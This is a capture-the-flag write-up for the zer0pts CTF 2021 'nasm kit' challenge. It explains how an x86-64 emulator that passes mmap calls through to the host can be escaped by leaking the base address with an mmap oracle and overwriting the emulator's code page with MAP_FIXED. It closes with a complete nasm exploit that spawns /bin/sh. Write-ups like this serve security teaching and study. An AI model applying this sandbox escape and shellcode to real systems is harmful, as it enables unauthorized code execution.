# nasm kit - zer0pts CTF 2021
###### tags: `zer0pts CTF 2021` `pwn`
## Challenge Overview
We can execute arbitrary assembly code.
The code is compiled by nasm and executed by an x86-64 emulator. The source code of this emulator is provided.
From a conclusion, the program doesn't have any speicific "vulnerability." The problem lies in the design of the emulator. The program emulates 6 system calls: `read`, `write`, `mmap`, `unmap`, `exit`, and `exit_group`.
The emulator does not "emulates" those system calls but just calls the system call on the host machine. In the man page of `mmap`, you can notice the following description:
```
MAP_FIXED
Don't interpret addr as a hint: place the mapping at exactly that address. addr must be suitably aligned: for most architectures a multiple of the page size is sufficient; however,
some architectures may impose additional restrictions. If the memory region specified by addr and len overlaps pages of any existing mapping(s), then the overlapped part of the
existing mapping(s) will be discarded. If the specified address cannot be used, mmap() will fail. Software that aspires to be portable should use this option with care, keeping in
mind that the exact layout of a process's memory mappings is allowed to change significantly between kernel versions, C library versions, and operating system releases.
```
So, if we know the adddress of the machine code of the emulator, we can unmap and overwrite the whole page.
## Solution
### Leaking Process Base Address
First of all, we have to leak the base address of the emulator since PIE is enabled. We can again use `mmap` to leak the address. The first argument of `mmap` is the address where we want to allocate a page. However, `mmap` may allocate a page at a different address if it failed to alloc. When the first argument is a valid address, this failure means the desired page overlaps with other (already-mapped) pages.
We can use this as an oracle to know approximately where the binary is mapped. Since the timeout is short, we can try binary search to spot the proc base.
### Getting the Shell
After finding the base address, we can unmap the machine code region and overwrite it by `MAP_FIXED`. Be noted we can't unmap a page that is used by the running emulator.
## Exploit
```nasm=
BITS 64
ORG 0
_start:
xor r9d, r9d
mov r8, -1
mov r10d, 0x22 ; MAP_PRIVTE | MAP_ANONYMOUS
; prepare "/bin/sh"
mov esi, 0x1000
mov rdi, 0xdead0000
call mmap
mov dword [rdi], 0x6e69622f ; /bin
mov dword [rdi+4], 0x68732f ; /sh
; leak proc bsae
call leak
; overwrite std::hex(std::ios_base &)
mov rdi, rax
call pwn
; ignite!
call exit
;; run shellcode outside sandbox
pwn:
mov esi, 0x1000
add rdi, 0x2000
call mmapForce
; copy shellcode
lea rdi, [rdi + 0x124]
mov rsi, shellcode
mov ecx, 0x40
cld
.@LpCopy:
lodsb
stosb
dec ecx
test ecx, ecx
jnz .@LpCopy
ret
;; leak proc base
leak:
; base = 0x555555000000
mov rbp, 0x555555000000
; for(size = 0x100000000; size >= 0x100; size /= 0x10) {
mov r12, 0x100000000
jmp .@LpSizeCmp
.@LpSize:
; for(address = base; ; address += size) {
mov r11, rbp
.@LpAddr:
mov rsi, r12
mov rdi, r11
call mmap
test rax, rax
jnz .@LpAddrBreak
call munmap
add r11, r12
jmp .@LpAddr
; }
.@LpAddrBreak:
mov rbp, r11
shr r12, 4
.@LpSizeCmp:
cmp r12, 0x100
jge .@LpSize
; }
mov rax, rdi
ret
mmapForce:
xor r9d, r9d
mov r8, -1
mov r10d, 0x32 ; MAP_PRIVTE | MAP_ANONYMOUS | MAP_FIXED
mov edx, 7 ; RWX
mov eax, 9
syscall
ret
mmap:
mov edx, 3 ; RW-
mov eax, 9
syscall
ret
munmap:
mov eax, 11
syscall
ret
exit:
xor edi, edi
mov eax, 60
syscall
hlt
shellcode:
xor edx, edx
xor esi, esi
mov rdi, 0xdead0000
mov eax, 59
syscall
int3
```